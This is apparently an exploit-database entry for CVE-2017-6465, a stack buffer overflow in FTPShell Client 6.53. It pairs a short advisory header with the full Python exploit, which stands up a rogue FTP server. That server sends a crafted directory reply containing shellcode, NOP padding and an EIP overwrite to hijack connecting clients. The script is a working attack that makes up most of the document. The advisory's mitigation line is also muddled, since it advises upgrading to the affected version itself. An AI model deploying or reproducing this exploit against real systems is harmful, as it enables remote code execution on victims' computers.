FTPShell Client 6.53 buffer overflow on making initial connection

vendor:

FTPShell Client

by:

Peter Baris

9,8

CVSS

CRITICAL

Buffer Overflow

119

CWE

Product Name: FTPShell Client

Affected Version From: 6.53

Affected Version To: 6.53

Patch Exists: YES

Related CWE: CVE-2017-6465

CPE: a:saptech-erp:ftpshell_client

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Server 2008 R2 Standard x64

2017

FTPShell Client 6.53 buffer overflow on making initial connection

A buffer overflow vulnerability exists in FTPShell Client 6.53 when making an initial connection. An attacker can send a specially crafted request containing an overly long string to the FTP server, which can cause a stack-based buffer overflow and allow the attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Upgrade to the latest version of FTPShell Client 6.53 or later.

Source

Exploit-DB raw data:

# Exploit Title: FTPShell Client 6.53 buffer overflow on making initial connection
# Date: 2017-03-04
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: http://www.ftpshell.com/downloadclient.htm
# Version: Windows Server 2008 R2 x64
# Tested on: Windows Server 2008 R2 Standard x64
# CVE: CVE-2017-6465

# 2017-03-04: Software vendor notified
# 2017-03-06: No reply
# 2017-03-06: Publishing

import socket
import sys

shell=("\xdb\xce\xbf\xaa\xcc\x44\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x52\x83\xc2\x04\x31\x7a\x13\x03\xd0\xdf\xa6\x3c\xd8\x08\xa4"
"\xbf\x20\xc9\xc9\x36\xc5\xf8\xc9\x2d\x8e\xab\xf9\x26\xc2\x47"
"\x71\x6a\xf6\xdc\xf7\xa3\xf9\x55\xbd\x95\x34\x65\xee\xe6\x57"
"\xe5\xed\x3a\xb7\xd4\x3d\x4f\xb6\x11\x23\xa2\xea\xca\x2f\x11"
"\x1a\x7e\x65\xaa\x91\xcc\x6b\xaa\x46\x84\x8a\x9b\xd9\x9e\xd4"
"\x3b\xd8\x73\x6d\x72\xc2\x90\x48\xcc\x79\x62\x26\xcf\xab\xba"
"\xc7\x7c\x92\x72\x3a\x7c\xd3\xb5\xa5\x0b\x2d\xc6\x58\x0c\xea"
"\xb4\x86\x99\xe8\x1f\x4c\x39\xd4\x9e\x81\xdc\x9f\xad\x6e\xaa"
"\xc7\xb1\x71\x7f\x7c\xcd\xfa\x7e\x52\x47\xb8\xa4\x76\x03\x1a"
"\xc4\x2f\xe9\xcd\xf9\x2f\x52\xb1\x5f\x24\x7f\xa6\xed\x67\xe8"
"\x0b\xdc\x97\xe8\x03\x57\xe4\xda\x8c\xc3\x62\x57\x44\xca\x75"
"\x98\x7f\xaa\xe9\x67\x80\xcb\x20\xac\xd4\x9b\x5a\x05\x55\x70"
"\x9a\xaa\x80\xd7\xca\x04\x7b\x98\xba\xe4\x2b\x70\xd0\xea\x14"
"\x60\xdb\x20\x3d\x0b\x26\xa3\x82\x64\xee\xb3\x6b\x77\xee\xa2"
"\x37\xfe\x08\xae\xd7\x56\x83\x47\x41\xf3\x5f\xf9\x8e\x29\x1a"
"\x39\x04\xde\xdb\xf4\xed\xab\xcf\x61\x1e\xe6\xad\x24\x21\xdc"
"\xd9\xab\xb0\xbb\x19\xa5\xa8\x13\x4e\xe2\x1f\x6a\x1a\x1e\x39"
"\xc4\x38\xe3\xdf\x2f\xf8\x38\x1c\xb1\x01\xcc\x18\x95\x11\x08"
"\xa0\x91\x45\xc4\xf7\x4f\x33\xa2\xa1\x21\xed\x7c\x1d\xe8\x79"
"\xf8\x6d\x2b\xff\x05\xb8\xdd\x1f\xb7\x15\x98\x20\x78\xf2\x2c"
"\x59\x64\x62\xd2\xb0\x2c\x92\x99\x98\x05\x3b\x44\x49\x14\x26"
"\x77\xa4\x5b\x5f\xf4\x4c\x24\xa4\xe4\x25\x21\xe0\xa2\xd6\x5b"
"\x79\x47\xd8\xc8\x7a\x42")

port = 21

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[i] FTP server started on port: "+str(port)+"\r\n")
except:
        print("[!] Failed to bind the server to port: "+str(port)+"\r\n")



# 004b95dc in ftpshell.exe PUSH ESI ; RETN
eip = "\xdc\x95\x4b"
nops = "\x90"*8 
junk = "A"*(400-len(nops)-len(shell))
buffer = nops + shell + junk + eip

while True:
    conn, addr = s.accept()
    conn.send('220 Welcome to your unfriendly FTP server\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')